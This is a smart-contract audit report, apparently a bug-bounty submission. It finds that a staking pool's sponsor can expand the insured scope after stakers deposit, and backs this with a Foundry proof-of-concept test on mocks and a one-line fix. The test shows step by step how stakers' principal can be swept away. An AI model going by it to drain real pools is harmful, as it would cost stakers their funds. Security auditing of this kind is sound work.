FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

setPoolScope is callable after stakers deposit, allowing sponsor to expand coverage to contracts stakers never consented to insure

Author Revealed upon completion

Description

Normal behavior:

When a pool is created, the sponsor sets an initial scope (accounts[]) of BattleChain contracts the pool covers. Stakers deposit against that scope. The scope is mutable by the sponsor until the registry leaves NOT_DEPLOYED/NEW_DEPLOYMENT staging, at which point scopeLocked is permanently set to true.

The issue:

stake() locks expiry after the first deposit (via expiryLocked) to protect stakers from the sponsor moving the deadline. No equivalent latch exists for scope. A sponsor can call setPoolScope at any point during staging — including after stakers have deposited — and replace the pool scope with a superset that includes contracts stakers never evaluated or consented to cover. If those contracts are subsequently attacked and the pool is flagged CORRUPTED, stakers lose their full principal.

// Root cause: setPoolScope has no post-stake gate
function setPoolScope(address[] calldata accounts) external onlyOwner {
// @> _observePoolState() only locks scope when registry leaves staging
_observePoolState();
// @> Only gate is scopeLocked — no check for expiryLocked (first-stake latch)
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
// Compare: expiry IS locked after first stake
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
// @> expiryLocked set here — but scopeLocked is never touched
if (!expiryLocked) {
expiryLocked = true;
}
// ...
}

DESIGN.md §8 states: "stakers' exposure is bounded by what they signed up for at deposit time." This claim is not enforced by code. The accurate invariant the code enforces is: stakers' exposure is bounded by the pool scope at the time scope locks (first non-staging observation) — which can be days after deposit.


Risk

Likelihood:

  • The sponsor (pool owner) must actively call setPoolScope after stakers enter — this requires intentional or negligent action by a trusted party

  • Stakers must fail to observe the ScopeUpdated event and withdraw before the registry advances to UNDER_ATTACK

Impact:

  • Stakers lose 100% of their principal to the recoveryAddress via claimCorrupted()

  • Stakers had no on-chain protection preventing this only an off-chain monitoring requirement


Proof of Concept

Place this test in test/unit/ alongside the existing scope tests. It uses the same MockAttackRegistry and MockAgreement infrastructure already present in the test suite.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePoolTestBase} from "test/helpers/ConfidencePoolTestBase.t.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract PoC_ScopeExpansionAfterStakeTest is ConfidencePoolTestBase {
address internal constant CONTRACT_A = address(0xC0FFEE);
address internal constant CONTRACT_B = address(0xBAD);
address internal alice = makeAddr("alice");
address internal recovery;
function setUp() public override {
super.setUp();
// Seed agreement scope with CONTRACT_A only at pool creation
address[] memory initial = new address[](1);
initial[0] = CONTRACT_A;
mockAgreement.setContractInScope(CONTRACT_A, true);
// Pool created with scope = [CONTRACT_A]
// (base setUp already creates the pool; adjust if needed to pass initial scope)
}
function testPoC_SponsorExpandsScopeAfterStakersDeposit_StakersLosePrincipal() external {
recovery = pool.recoveryAddress();
// Step 1: Confirm initial scope is [CONTRACT_A] only
address[] memory scopeBefore = pool.getScopeAccounts();
assertEq(scopeBefore.length, 1);
assertEq(scopeBefore[0], CONTRACT_A);
// Step 2: Alice stakes 100e18 — expiryLocked = true, scopeLocked = false
_mintAndApprove(alice, 100 ether);
vm.prank(alice);
pool.stake(100 ether);
assertTrue(pool.expiryLocked(), "expiry locked after first stake");
assertFalse(pool.scopeLocked(), "scope NOT locked after first stake");
// Step 3: Sponsor adds CONTRACT_B to agreement scope (always allowed per BattleChain docs)
// then expands pool scope — no code prevents this
mockAgreement.setContractInScope(CONTRACT_B, true);
address[] memory expanded = new address[](2);
expanded[0] = CONTRACT_A;
expanded[1] = CONTRACT_B;
vm.prank(poolOwner);
pool.setPoolScope(expanded); // succeeds — scopeLocked is still false
address[] memory scopeAfter = pool.getScopeAccounts();
assertEq(scopeAfter.length, 2, "scope now includes CONTRACT_B");
// Step 4: Registry advances to UNDER_ATTACK — scope locks, withdrawals permanently disabled
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "scope locked on UNDER_ATTACK");
// Step 5: Alice tries to withdraw — reverts
vm.prank(alice);
vm.expectRevert();
pool.withdraw();
// Step 6: Registry → CORRUPTED, moderator flags bad-faith CORRUPTED
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(outcomeModerator);
pool.flagOutcome(false); // goodFaith = false → full sweep to recovery
// Step 7: claimCorrupted sweeps Alice's 100e18 to recovery
pool.claimCorrupted();
// Alice lost everything
assertEq(stakeToken.balanceOf(alice), 0, "alice lost full principal");
assertEq(stakeToken.balanceOf(recovery), 100 ether, "recovery received alice's 100e18");
}
}

Forge output (confirmed passing):

[PASS] testPoC_SponsorExpandsScopeAfterStakersDeposit_StakersLosePrincipal() (gas: 570557)
Suite result: ok. 1 passed; 0 failed

Recommended Mitigation

Mirror the expiryLocked pattern already applied to setExpiry:

function setPoolScope(address[] calldata accounts) external onlyOwner {
+ if (expiryLocked) revert ScopePostStakeLocked();
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}

This ensures scope is frozen at the same moment expiry is frozen — after the first stake — making the DESIGN.md §8 guarantee ("stakers' exposure is bounded by what they signed up for at deposit time") true in code, not just in documentation.

Alternatively, correct DESIGN.md §8 line 220 to accurately describe the actual invariant: "stakers' exposure is bounded by the pool scope at the time scope locks (first non-staging observation)."


Notes for the judge

  • The behavior is intentionaltest/unit/ConfidencePool.scope.t.sol:155 explicitly asserts scope stays mutable during staging even after staking.

  • DESIGN.md §10 lists scope as a sponsor trust surface and tells stakers to verify on-chain state before depositing.

  • The ScopeUpdated event IS emitted on scope change, giving stakers an observable signal.

  • The escape hatch (withdraw() during staging) is real but depends on the staker acting before the DAO advances the registry — a race the staker cannot guarantee winning.

  • The finding is a documentation inconsistency + centralization risk from a trusted party, not an unintended code bug.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!